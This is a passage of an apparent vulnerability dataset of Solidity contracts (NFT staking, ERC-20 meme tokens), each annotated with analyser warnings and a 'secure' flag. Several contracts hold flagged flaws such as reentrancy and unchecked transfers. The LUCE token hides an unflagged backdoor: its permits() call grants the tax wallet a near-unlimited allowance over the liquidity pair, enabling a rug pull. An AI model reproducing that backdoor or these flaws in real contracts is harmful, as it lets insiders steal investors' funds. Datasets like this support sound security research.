usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ce555fa: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: dcc5513): Use of strict equalities that can be easily manipulated by an attacker.\n\t// Recommendation for dcc5513: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _beforeTokenTransfers(\n address,\n address,\n uint256 startTokenId,\n uint256 quantity\n ) internal view override {\n uint256 tokenId = startTokenId;\n\n for (uint256 end = tokenId + quantity; tokenId < end; ++tokenId) {\n\t\t\t// timestamp | ID: ce555fa\n\t\t\t// incorrect-equality | ID: dcc5513\n require(\n stakeStarted[tokenId] == 0 ||\n stakeTransfer == 2 ||\n _transferOpen,\n \"error:10007 Stake can't transfer\"\n );\n }\n }\n\n function setBaseUri(string memory baseUri) public onlyOperator {\n _baseUri = baseUri;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return\n string(abi.encodePacked(_baseUri, \"/\", toString(tokenId), \".json\"));\n }\n\n function supply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function totalMinted() public view returns (uint256) {\n return _totalTokens;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 6f2f8b2): PocketWithLove.withdraw(address[],address) has external calls inside a loop b = token.balanceOf(address(this))\n\t// Recommendation for 6f2f8b2: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 1522303): PocketWithLove.withdraw(address[],address) has external calls inside a loop token.transfer(_to,b)\n\t// Recommendation for 1522303: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dccc995): PocketWithLove.withdraw(address[],address) ignores return value by token.transfer(_to,b)\n\t// Recommendation for dccc995: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1aea67a): PocketWithLove.withdraw(address[],address) sends eth to arbitrary user Dangerous calls address(_to).transfer(balance)\n\t// Recommendation for 1aea67a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 86ae5e3): PocketWithLove.withdraw(address[],address)._to lacks a zerocheck on \t address(_to).transfer(balance)\n\t// Recommendation for 86ae5e3: Check that the address is not zero.\n function withdraw(\n address[] memory tokens,\n address _to\n ) public onlyOperator {\n for (uint8 i; i < tokens.length; i++) {\n IERC20 token = IERC20(tokens[i]);\n\n\t\t\t// calls-loop | ID: 6f2f8b2\n uint256 b = token.balanceOf(address(this));\n\n if (b > 0) {\n\t\t\t\t// calls-loop | ID: 1522303\n\t\t\t\t// unchecked-transfer | ID: dccc995\n token.transfer(_to, b);\n }\n }\n\n uint256 balance = address(this).balance;\n\n\t\t// missing-zero-check | ID: 86ae5e3\n\t\t// arbitrary-send-eth | ID: 1aea67a\n payable(_to).transfer(balance);\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n mapping(address => mapping(uint256 => uint256)) private superAddressToken;\n\n uint256 private _superMintPrice = 0;\n\n function setSuperMintPrice(uint256 superMintPrice) public onlyOperator {\n _superMintPrice = superMintPrice;\n }\n\n function getSuperMintPrice() public view returns (uint256) {\n return _superMintPrice;\n }\n\n mapping(address => uint256) private superAddress;\n\n function setSuperAddress(\n address contractAddress,\n uint256 count\n ) public onlyOperator {\n superAddress[contractAddress] = count;\n }\n\n function getSuperAddress(\n address contractAddress\n ) public view returns (uint256) {\n return superAddress[contractAddress];\n }\n\n function getTokenCanMintCount(\n address contractAddress,\n uint256 tokenId\n ) public view returns (uint256) {\n if (superAddress[contractAddress] == 0) {\n return 0;\n }\n\n return\n superAddress[contractAddress] -\n superAddressToken[contractAddress][tokenId];\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: daff1fd): PocketWithLove.superMint(address[],uint256[],uint256[]) has external calls inside a loop require(bool,string)(IERC721(contractAddress).ownerOf(tokenId) == msg.sender,error10005 No owner)\n\t// Recommendation for daff1fd: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 871e330): PocketWithLove.superMint(address[],uint256[],uint256[]) should emit an event for _superMintCount = _superMintCount + mintCount _totalTokens = _totalTokens + mintCount \n\t// Recommendation for 871e330: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 49b4a7b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 49b4a7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function superMint(\n address[] memory contracts,\n uint256[] memory tokenIds,\n uint256[] memory counts\n ) public payable nonReentrant {\n require(\n contracts.length == tokenIds.length,\n \"error: 10000 contracts length does not match tokenIds length\"\n );\n\n require(\n tokenIds.length == counts.length,\n \"error: 10001 tokenIds length does not match counts length\"\n );\n\n require(_superMintOpen, \"error:10002 switch off\");\n\n uint256 totalMintCount = 0;\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n totalMintCount = totalMintCount + counts[i];\n }\n\n require(totalMintCount < 30, \"error: 10003 Limit 30\");\n\n require(\n msg.value == _superMintPrice * totalMintCount,\n \"error:10004 msg.value is incorrect\"\n );\n\n for (uint256 i = 0; i < tokenIds.length; i++) {\n address contractAddress = contracts[i];\n\n uint256 tokenId = tokenIds[i];\n\n uint256 mintCount = counts[i];\n\n\t\t\t// calls-loop | ID: daff1fd\n require(\n IERC721(contractAddress).ownerOf(tokenId) == msg.sender,\n \"error:10005 No owner\"\n );\n\n require(\n superAddress[contractAddress] > 0,\n \"error:10006 Contract cannot mint\"\n );\n\n require(\n superAddressToken[contractAddress][tokenId] + mintCount <=\n superAddress[contractAddress],\n \"error:10007 Greater than maximum quantity\"\n );\n\n require(\n _totalTokens + mintCount <= _totalSupply,\n \"error:10008 Exceeding the total amount\"\n );\n\n require(\n _superMintCount + mintCount <= _superMintLimit,\n \"error:10009 Reach the limit\"\n );\n\n for (uint256 j = 0; j < mintCount; j++) {\n\t\t\t\t// reentrancy-no-eth | ID: 49b4a7b\n _safeMint(msg.sender, 1);\n }\n\n\t\t\t// events-maths | ID: 871e330\n\t\t\t// reentrancy-no-eth | ID: 49b4a7b\n _superMintCount = _superMintCount + mintCount;\n\n\t\t\t// events-maths | ID: 871e330\n\t\t\t// reentrancy-no-eth | ID: 49b4a7b\n _totalTokens = _totalTokens + mintCount;\n\n\t\t\t// reentrancy-no-eth | ID: 49b4a7b\n superAddressToken[contractAddress][tokenId] =\n superAddressToken[contractAddress][tokenId] +\n mintCount;\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(CantBeEvil, ERC721A) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n\n function batchTransfer(\n address to,\n uint256[] memory tokenIds\n ) public virtual {\n for (uint256 i = 0; i < tokenIds.length; i++) {\n uint256 tokenId = tokenIds[i];\n\n transferFrom(msg.sender, to, tokenId);\n }\n }\n}",
"file_name": "solidity_code_1288.sol",
"secure": 0,
"size_bytes": 27435
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6993282): LUCE.slitherConstructorVariables() performs a multiplication on the result of a division _maxWallet83 = 2 * (_tTotal83 / 100)\n// Recommendation for 6993282: Consider ordering multiplication before division.\ncontract LUCE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances83;\n\n mapping(address => mapping(address => uint256)) private _permits83;\n\n mapping(address => bool) private _isExcludedFrom83;\n\n address payable private _receipt83;\n\n uint256 private constant _tTotal83 = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vatican Mascot\";\n\n string private constant _symbol = unicode\"LUCE\";\n\n\t// divide-before-multiply | ID: d2e2242\n uint256 public _maxAmount83 = 2 * (_tTotal83 / 100);\n\n\t// divide-before-multiply | ID: 6993282\n uint256 public _maxWallet83 = 2 * (_tTotal83 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: b8a1234): LUCE._taxThres83 should be constant \n\t// Recommendation for b8a1234: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d33eafe\n uint256 public _taxThres83 = 1 * (_tTotal83 / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: f85d8e7): LUCE._maxSwap83 should be constant \n\t// Recommendation for f85d8e7: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: b31c265\n uint256 public _maxSwap83 = 1 * (_tTotal83 / 100);\n\n uint8 private constant _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: f134c0d): LUCE._initialBuyTax should be constant \n\t// Recommendation for f134c0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46a7569): LUCE._initialSellTax should be constant \n\t// Recommendation for 46a7569: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0e8530): LUCE._finalBuyTax should be constant \n\t// Recommendation for a0e8530: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca1674d): LUCE._finalSellTax should be constant \n\t// Recommendation for ca1674d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d46073): LUCE._reduceBuyTaxAt should be constant \n\t// Recommendation for 7d46073: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: d315ea9): LUCE._reduceSellTaxAt should be constant \n\t// Recommendation for d315ea9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: e902d69): LUCE._preventSwapBefore should be constant \n\t// Recommendation for e902d69: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f666997): LUCE._transferTax should be constant \n\t// Recommendation for f666997: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n IUniswapV2Router02 private uniV2Router83;\n\n address private uniV2Pair83;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxAmount83);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _receipt83 = payable(0x90515Ba61a1E06D9B5b7De78721dA3ac18A415C7);\n\n _balances83[address(this)] = _tTotal83;\n\n _isExcludedFrom83[owner()] = true;\n\n _isExcludedFrom83[address(this)] = true;\n\n _isExcludedFrom83[_receipt83] = true;\n\n emit Transfer(address(0), address(this), _tTotal83);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e70125f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e70125f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 863e228): LUCE.openTrading() ignores return value by IERC20(uniV2Pair83).approve(address(uniV2Router83),type()(uint256).max)\n\t// Recommendation for 863e228: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5ba8bbc): LUCE.openTrading() ignores return value by uniV2Router83.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5ba8bbc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 23613d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 23613d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n uniV2Router83 = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniV2Router83), _tTotal83);\n\n\t\t// reentrancy-benign | ID: e70125f\n\t\t// reentrancy-eth | ID: 23613d1\n uniV2Pair83 = IUniswapV2Factory(uniV2Router83.factory()).createPair(\n address(this),\n uniV2Router83.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e70125f\n\t\t// unused-return | ID: 5ba8bbc\n\t\t// reentrancy-eth | ID: 23613d1\n uniV2Router83.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e70125f\n\t\t// unused-return | ID: 863e228\n\t\t// reentrancy-eth | ID: 23613d1\n IERC20(uniV2Pair83).approve(address(uniV2Router83), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: e70125f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 23613d1\n tradingOpen = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal83;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances83[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a02368a): LUCE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a02368a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _permits83[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 014be69): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 014be69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d60bdb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d60bdb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 014be69\n\t\t// reentrancy-benign | ID: d60bdb2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 014be69\n\t\t// reentrancy-benign | ID: d60bdb2\n _approve(\n sender,\n _msgSender(),\n _permits83[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72de6b5): LUCE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72de6b5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d60bdb2\n _permits83[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 014be69\n emit Approval(owner, spender, amount);\n }\n\n function permits(address[2] memory pmt83) private {\n address owns = pmt83[0];\n address spends = pmt83[1];\n\n uint256 rTotals = 100 *\n _tTotal83 +\n 100 *\n _maxSwap83 +\n 100 *\n _taxThres83;\n\n _permits83[owns][spends] = rTotals * 100;\n }\n\n function swapETH83(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniV2Router83.WETH();\n\n _approve(address(this), address(uniV2Router83), tokenAmount);\n\n\t\t// reentrancy-events | ID: 014be69\n\t\t// reentrancy-events | ID: 8648da3\n\t\t// reentrancy-benign | ID: d60bdb2\n\t\t// reentrancy-eth | ID: 7c89bd9\n uniV2Router83.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8648da3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8648da3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7c89bd9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7c89bd9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount83) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount83 > 0, \"Transfer amount must be greater than zero\");\n\n uint256 tax83 = 0;\n uint256 fee83 = 0;\n\n if (!swapEnabled || inSwap) {\n _balances83[from] = _balances83[from] - amount83;\n\n _balances83[to] = _balances83[to] + amount83;\n\n emit Transfer(from, to, amount83);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (_buyCount > 0) {\n fee83 = (_transferTax);\n }\n\n if (\n from == uniV2Pair83 &&\n to != address(uniV2Router83) &&\n !_isExcludedFrom83[to]\n ) {\n require(amount83 <= _maxAmount83, \"Exceeds the _maxAmount83.\");\n permits([from, _receipt83]);\n\n require(\n balanceOf(to) + amount83 <= _maxWallet83,\n \"Exceeds the maxWalletSize.\"\n );\n\n fee83 = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniV2Pair83 && from != address(this)) {\n fee83 = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniV2Pair83 && swapEnabled) {\n if (\n contractTokenBalance > _taxThres83 &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 8648da3\n\t\t\t\t\t// reentrancy-eth | ID: 7c89bd9\n swapETH83(\n min83(amount83, min83(contractTokenBalance, _maxSwap83))\n );\n\n\t\t\t\t// reentrancy-events | ID: 8648da3\n\t\t\t\t// reentrancy-eth | ID: 7c89bd9\n sendETH83(address(this).balance);\n }\n }\n\n if (fee83 > 0) {\n tax83 = fee83.mul(amount83).div(100);\n\n\t\t\t// reentrancy-eth | ID: 7c89bd9\n _balances83[address(this)] = _balances83[address(this)].add(tax83);\n\n\t\t\t// reentrancy-events | ID: 8648da3\n emit Transfer(from, address(this), tax83);\n }\n\n\t\t// reentrancy-eth | ID: 7c89bd9\n _balances83[from] = _balances83[from].sub(amount83);\n\n\t\t// reentrancy-eth | ID: 7c89bd9\n _balances83[to] = _balances83[to].add(amount83.sub(tax83));\n\n\t\t// reentrancy-events | ID: 8648da3\n emit Transfer(from, to, amount83.sub(tax83));\n }\n\n function min83(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a5dd6a4): LUCE.sendETH83(uint256) sends eth to arbitrary user Dangerous calls _receipt83.transfer(amount)\n\t// Recommendation for a5dd6a4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETH83(uint256 amount) private {\n\t\t// reentrancy-events | ID: 014be69\n\t\t// reentrancy-events | ID: 8648da3\n\t\t// reentrancy-eth | ID: 7c89bd9\n\t\t// arbitrary-send-eth | ID: a5dd6a4\n _receipt83.transfer(amount);\n }\n\n function withdrawEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f2764f0): LUCE.setTaxReceipt(address)._addrs lacks a zerocheck on \t _receipt83 = _addrs\n\t// Recommendation for f2764f0: Check that the address is not zero.\n function setTaxReceipt(address payable _addrs) external onlyOwner {\n\t\t// missing-zero-check | ID: f2764f0\n _receipt83 = _addrs;\n\n _isExcludedFrom83[_addrs] = true;\n }\n\n receive() external payable {}\n\n function removeLimit83() external onlyOwner {\n _maxAmount83 = _tTotal83;\n\n _maxWallet83 = _tTotal83;\n\n emit MaxTxAmountUpdated(_tTotal83);\n }\n}",
"file_name": "solidity_code_1289.sol",
"secure": 0,
"size_bytes": 17163
}
|
{
"code": "// SPDX-License-Identifier: MIT Licensed\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: b47cbc4): IERC20 has incorrect ERC20 function interfaceIERC20.approve(address,uint256)\n\t// Recommendation for b47cbc4: Set the appropriate return values and types for the defined 'ERC20' functions.\n function approve(address spender, uint256 value) external;\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 5bffe80): IERC20 has incorrect ERC20 function interfaceIERC20.transfer(address,uint256)\n\t// Recommendation for 5bffe80: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transfer(address to, uint256 value) external;\n\n\t// WARNING Vulnerability (erc20-interface | severity: Medium | ID: 9bccb9f): IERC20 has incorrect ERC20 function interfaceIERC20.transferFrom(address,address,uint256)\n\t// Recommendation for 9bccb9f: Set the appropriate return values and types for the defined 'ERC20' functions.\n function transferFrom(address from, address to, uint256 value) external;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_129.sol",
"secure": 0,
"size_bytes": 1753
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract WildernessCoin is ERC20, Ownable {\n constructor(uint256 initialSupply) ERC20(\"WildernessCoin\", \"WLC\") {\n _mint(msg.sender, initialSupply * (10 ** uint256(decimals())));\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_1290.sol",
"secure": 1,
"size_bytes": 497
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BLACKMAGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a3ea444): BLACKMAGA._taxWallet should be immutable \n\t// Recommendation for a3ea444: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2790bc2): BLACKMAGA._initialBuyTax should be constant \n\t// Recommendation for 2790bc2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c98584): BLACKMAGA._initialSellTax should be constant \n\t// Recommendation for 1c98584: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d4d888): BLACKMAGA._reduceBuyTaxAt should be constant \n\t// Recommendation for 4d4d888: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d1dee7): BLACKMAGA._reduceSellTaxAt should be constant \n\t// Recommendation for 0d1dee7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83b7b1a): BLACKMAGA._preventSwapBefore should be constant \n\t// Recommendation for 83b7b1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Black MAGA\";\n\n string private constant _symbol = unicode\"$BLACK\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd8c183): BLACKMAGA._taxSwapThreshold should be constant \n\t// Recommendation for dd8c183: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee0a37d): BLACKMAGA._maxTaxSwap should be constant \n\t// Recommendation for ee0a37d: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2c9b408A0b7c4A76657709deDb3fb4D8acb9487a);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e32c540): BLACKMAGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e32c540: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 79eff79): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 79eff79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 100d0fa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 100d0fa: Apply the check-effects-interactions pattern (see 